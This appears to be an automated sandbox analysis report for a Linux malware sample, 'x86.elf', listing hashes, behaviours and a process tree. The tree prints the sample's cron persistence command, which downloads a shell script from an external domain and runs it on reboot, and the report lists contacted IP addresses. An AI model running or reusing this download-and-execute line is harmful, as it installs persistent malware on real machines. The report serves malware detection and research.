Analysis
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max time kernel
139s -
max time network
152s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system -
submitted
27-10-2024 07:07
Behavioral task
behavioral1
Sample
x86.elf
Resource
ubuntu2204-amd64-20240611-en
General
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Target
x86.elf
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Size
93KB
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MD5
bb9275394716c60d1941432c7085ca13
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SHA1
43f6e51ca69e70abb7d6cfd7f11f15df3fcc97cc
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SHA256
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
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SHA512
047ec8451a8d35ac67c7ff26e145cfe5536d94ef1a7d280d2e70dc4c3ed7dfd1386a957e1b76f50c10429774df02964d48d50d6bb8debc2c9a3bcced833b125d
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SSDEEP
1536:lDVOLhrwmN92XVNbMxvk2bB3n2GNR9maOY7h8RGEhXXBP:9VO9v4vbMxvkEB3VNR9u4h8RGaxP
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Renames itself 1 IoCs
Processes:
x86.elfpid process 1588 x86.elf -
Unexpected DNS network traffic destination 3 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
Processes:
description ioc Destination IP 81.169.136.222 Destination IP 70.34.254.19 Destination IP 65.21.1.106 -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.YFaPe1 crontab -
Changes its process name 1 IoCs
Processes:
x86.elfdescription ioc pid process Changes the process name, possibly in an attempt to hide itself [kswapd0] 1588 x86.elf
Processes
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/tmp/x86.elf/tmp/x86.elf1⤵
- Renames itself
- Changes its process name
PID:1588 -
/bin/shsh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"2⤵
- File and Directory Permissions Modification
PID:1589 -
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1591 -
/usr/bin/crontabcrontab -l3⤵PID:1592
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
306B
MD5a8520c6d667cd1df99baca99579e61af
SHA10e4aa9309156fda2f4ba2f4123cb730ebb265f5d
SHA256975afb4b2fd3a02eb23d6e2ef969ad5867174f7eb6b1845271f8b7567ed5dd21
SHA51265889242b08f3cf7c9ba7e466ffbacccc4ddf4b655d54ca2800fe993edca755f9b47483c0e2afc4e726a45d3c742d50d84ac2cc96a9f4080eaedbaa60dbd7e46